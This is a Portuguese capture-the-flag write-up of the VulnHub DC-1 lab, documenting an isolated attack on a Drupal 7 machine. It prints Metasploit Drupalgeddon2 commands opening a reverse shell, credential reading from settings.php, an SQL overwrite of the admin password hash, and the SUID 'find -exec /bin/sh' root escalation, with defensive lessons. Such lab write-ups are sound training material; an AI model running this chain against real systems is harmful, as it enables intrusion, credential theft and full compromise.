VulnHub-DC1-Writeup

"Writeups de laboratório de testes de penetração documentando cadeias de ataque completas — do reconhecimento à root."

🔓 VulnHub — Writeup Boot-to-Root do DC-1

Dificuldade: Iniciante–Intermediário
Plataforma: VulnHub
Objetivo: Capturar todas as 4 flags e obter comprometimento total em nível root
SO do atacante: Kali Linux (VirtualBox — Rede NAT)
SO alvo: Debian Linux (Drupal 7 CMS)

📌 Índice

1. Configuração do Laboratório
2. Reconhecimento e Enumeração
3. Exploração — Execução Remota de Código
4. Pós-Exploração — Estabilização do Shell
5. Flag 1 — Enumeração do Servidor Web
6. Flag 2 — Extração de Credenciais do Banco de Dados
7. Flag 3 — Acesso ao Painel Admin via Manipulação de Hash
8. Flag 4 e Root — Escalação de Privilégio SUID
9. Resumo de Habilidades e Ferramentas
10. Principais Aprendizados

🛠 Configuração do Laboratório

Ambas as máquinas virtuais foram configuradas sob a mesma Rede NAT no VirtualBox para permitir comunicação entre VMs, mantendo um ambiente de laboratório isolado.

🔍 Reconhecimento e Enumeração

Descoberta de Hosts

Usei arp-scan para identificar todos os hosts ativos na sub-rede local:

sudo arp-scan -l

Resultado: Alvo identificado em 10.0.2.3

Varredura de Serviços e Portas

Executei uma varredura Nmap completa com detecção de versão e scripts padrão:

sudo nmap -sV -sC 10.0.2.3

Principais descobertas:

🔑 Crítico: O Nmap identificou explicitamente a aplicação web como Drupal 7 através dos cabeçalhos geradores HTTP — confirmando uma versão de CMS conhecidamente vulnerável.

💥 Exploração — Execução Remota de Código

Vulnerabilidade: Drupalgeddon2 (CVE-2018-7600)

O Drupal 7 é afetado por uma vulnerabilidade crítica de Execução Remota de Código (RCE) em sua API de Formulário. Um atacante não autenticado pode enviar uma solicitação HTTP adulterada que o backend executa como um comando do sistema — sem necessidade de qualquer autenticação.

Iniciei o Metasploit Framework:

msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

Resultado: Reverse shell do Meterpreter aberta com sucesso como www-data (o usuário do processo do servidor web).

🐚 Pós-Exploração — Estabilização do Shell

Saí do Meterpreter para um shell Linux nativo e o estabilizei usando Python PTY:

shell
python -c 'import pty; pty.spawn("/bin/bash")'

Resultado: Shell bash totalmente interativa como www-data@DC-1 dentro de /var/www

🚩 Flag 1 — Enumeração do Servidor Web

ls -la /var/www
cat flag1.txt

Conteúdo da Flag 1:

Every good CMS needs a config file - and so do you.

💡 Dica: Aponta diretamente para o arquivo de configuração do Drupal — settings.php

🚩 Flag 2 — Extração de Credenciais do Banco de Dados

Naveguei até o diretório de configuração do Drupal e inspecionei o arquivo de configurações:

cd /var/www/sites/default
cat settings.php

Credenciais descobertas incorporadas na matriz $databases:

Conteúdo da Flag 2 (dos comentários do arquivo):

Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 Dica: Use as credenciais para acessar o backend MySQL — sem usar força bruta.

🚩 Flag 3 — Acesso ao Painel Admin via Manipulação de Hash

Passo 1: Enumeração do Banco de Dados

mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

Encontrei senhas com hash para admin e fred — ambas usando o esquema de hash $S$ do Drupal (baseado em SHA-512).

Passo 2: Forjar um Hash de Senha Personalizado

Em vez de quebrar o hash existente, usei o próprio script PHP integrado do Drupal para gerar um novo:

cd /var/www
php scripts/password-hash.sh password123

Saída: Um hash $S$D... válido para password123

Passo 3: Sobrescrever a Senha do Admin via SQL

use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

Login feito em http://10.0.2.3 como admin / password123 com sucesso.

Conteúdo da Flag 3 (encontrado no painel de conteúdo admin do Drupal):

Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 Dica: Configuração incorreta do binário SUID no comando find — vetor de escalação de privilégio identificado.

🚩 Flag 4 e Root — Escalação de Privilégio SUID

Passo 1: Enumerar Usuários do Sistema

cat /etc/passwd

Localizei o usuário flag4 com diretório pessoal em /home/flag4.

cat /home/flag4/flag4.txt

Conteúdo da Flag 4:

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

Passo 2: Exploração de SUID via find

O binário find tinha o bit SUID definido, o que significa que ele executa com os privilégios do dono do arquivo (root), independentemente de quem o execute.

find . -exec /bin/sh \;
whoami
# root

Passo 3: Flag de Root

cd /root
cat thefinalflag.txt

Well done!!! Hope you enjoyed DC-1!

Comprometimento total como root alcançado. ✅

🛠 Resumo de Habilidades e Ferramentas

Ferramentas Utilizadas

Habilidades Demonstradas

• ✅ Reconhecimento de Rede e Descoberta de Hosts
• ✅ Identificação de Serviços e Identificação de CMS
• ✅ Pesquisa de CVE e Utilização de Exploits Públicos
• ✅ Metasploit Framework — Implantação de Payload
• ✅ Pós-Exploração e Movimentação Lateral
• ✅ Enumeração de Banco de Dados e Extração de Credenciais
• ✅ Forjamento de Hash de Senha e Injeção de SQL via CLI
• ✅ Auditoria de Binários SUID em Linux
• ✅ Escalação de Privilégio para Root

📚 Principais Aprendizados

Do ponto de vista ofensivo:

• Plataformas CMS sem patch (mesmo 1–2 versões principais atrás) são trivialmente exploráveis através de CVEs públicas e módulos do Metasploit.
• Arquivos de configuração como settings.php frequentemente contêm credenciais em texto puro que permitem que um atacante passe do acesso web para o controle total do banco de dados.
• Configurações incorretas de SUID em binários comuns como find, vim ou python são um dos vetores de escalação de privilégio mais confiáveis em ambientes Linux.

Do ponto de vista defensivo:

• Sempre aplique patches em plataformas CMS prontamente — o Drupalgeddon2 tinha patches disponíveis; a vulnerabilidade foi o atraso em aplicá-los.
• Segredos (credenciais de banco de dados) nunca devem estar em arquivos de configuração acessíveis pela web sem criptografia ou abstração por variáveis de ambiente.
• Audite regularmente binários SUID: find / -perm -4000 -type f 2>/dev/null deve fazer parte de qualquer checklist de hardening Linux.

⚠️ Aviso Legal

Este writeup é estritamente para fins educacionais e documenta atividades realizadas em um ambiente de laboratório isolado e legal. Nunca tente essas técnicas contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.

Concluído por Prapul | Perfil no TryHackMe | GitHub